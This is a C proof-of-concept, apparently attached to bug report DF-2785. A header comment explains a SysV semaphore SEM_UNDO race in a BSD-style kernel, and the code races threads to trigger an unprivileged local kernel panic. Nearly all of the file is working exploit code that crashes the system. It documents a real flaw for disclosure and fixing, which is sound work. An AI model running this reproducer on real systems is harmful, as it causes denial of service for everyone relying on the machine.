DF-2785 / undo_race_panic.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* * DF-2785 - reachable panic("semop - can't undo undos") via a * same-process SEM_UNDO race in sys_semop(). * * sys/kern/sysv_sem.c:998-1006 rolls back undo adjustments in reverse * order and panics if a rollback adjust fails. The comment claims the * reverse order "guarantees that we won't run out of space" - that * proof is only valid single-threaded. semundo_adjust() entries are * keyed by (semid, semnum) and shared by every thread of a process, * so a sibling thread can re-fill the undo table (un_cnt == semume == * 25) inside the window between the victim's adjustments. * * Construction (victim thread A + churn threads C share p_sem_undo): * Setup creates 25 persistent filler entries (adjval == -1) so the * table sits full at un_cnt == 25. * Each C cycle dips the table: {f,-1,UNDO} removes filler entry f * (adjust +1 zeroes adjval; un_cnt 25 -> 24), then {f,+1,UNDO} * re-creates it (un_cnt -> 25). Net-zero per cycle. * A's vector (4 ops): {w,+1,UNDO} {w,-1,UNDO} {x,+1,UNDO} {x,-1,UNDO} * adjust#0 creates entry(w) (needs a free slot), * adjust#1 removes it again (net effect zero), * adjust#2 wants a fresh slot for entry(x). * A entering at un_cnt == 25 -> adjust#0 fails (harmless, i == 0). * A entering during a dip (24) with C re-filling between A's * adjust#1 and adjust#2 -> adjust#2 fails at i == 2; the rollback * then re-adjusts sops[1] (w,-1): entry(w) is absent *by * construction* and the table is full again -> * semundo_adjust returns EINVAL -> panic("semop - can't undo undos"). * * Unprivileged local kernel panic (DoS). Expected result: guest * panics; serial console shows the panic string. */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #define NWORK 8 /* working keys 0..7 (victim) */ #define NFILL 25 /* filler keys 8..32 (churn) */ #define NSEMS (NWORK + NFILL) #define FILL0 8 static int id; static volatile unsigned long iter_a, err_a, iter_c; static void * victim(void *arg __unused) { unsigned int k = 0; for (;;) { int w = k % NWORK; int x = (k * 7 + 3) % NWORK; struct sembuf sops[4] = { { w, 1, SEM_UNDO }, { w, -1, SEM_UNDO }, { x, 1, SEM_UNDO }, { x, -1, SEM_UNDO }, }; k++; if (semop(id, sops, 4) < 0) err_a++; /* EINVAL when table full at #0/#2 */ if ((++iter_a & 0x3fffff) == 0) { printf("victim : %lu iters, %lu errors\n", iter_a, err_a); fflush(stdout); } } return NULL; } static void * churn(void *offset) { unsigned int off = (unsigned int)(unsigned long)offset; unsigned int k = 0; for (;;) { int f = FILL0 + ((off + k++) % NFILL); struct sembuf downU = { f, -1, SEM_UNDO }; /* remove entry */ struct sembuf upU = { f, 1, SEM_UNDO }; /* re-create */ (void)semop(id, &downU, 1); (void)semop(id, &upU, 1); if ((++iter_c & 0x3fffff) == 0) { printf("churn : %lu cycles\n", iter_c); fflush(stdout); } } return NULL; } int main(void) { pthread_t ta, tc, tc2; int f; id = semget(IPC_PRIVATE, NSEMS, 0600); if (id < 0) { perror("semget"); return 1; } /* Fill the undo table: 25 persistent filler entries (adjval -1) */ for (f = FILL0; f < FILL0 + NFILL; f++) { struct sembuf up = { f, 1, SEM_UNDO }; if (semop(id, &up, 1) < 0) { perror("filler setup"); return 1; } } printf("table pre-filled with %d filler entries; " "racing (expect panic: \"semop - can't undo undos\") ...\n", NFILL); fflush(stdout); pthread_create(&ta, NULL, victim, NULL); pthread_create(&tc, NULL, churn, (void *)(unsigned long)0); pthread_create(&tc2, NULL, churn, (void *)(unsigned long)13); pthread_join(ta, NULL); return 0; } |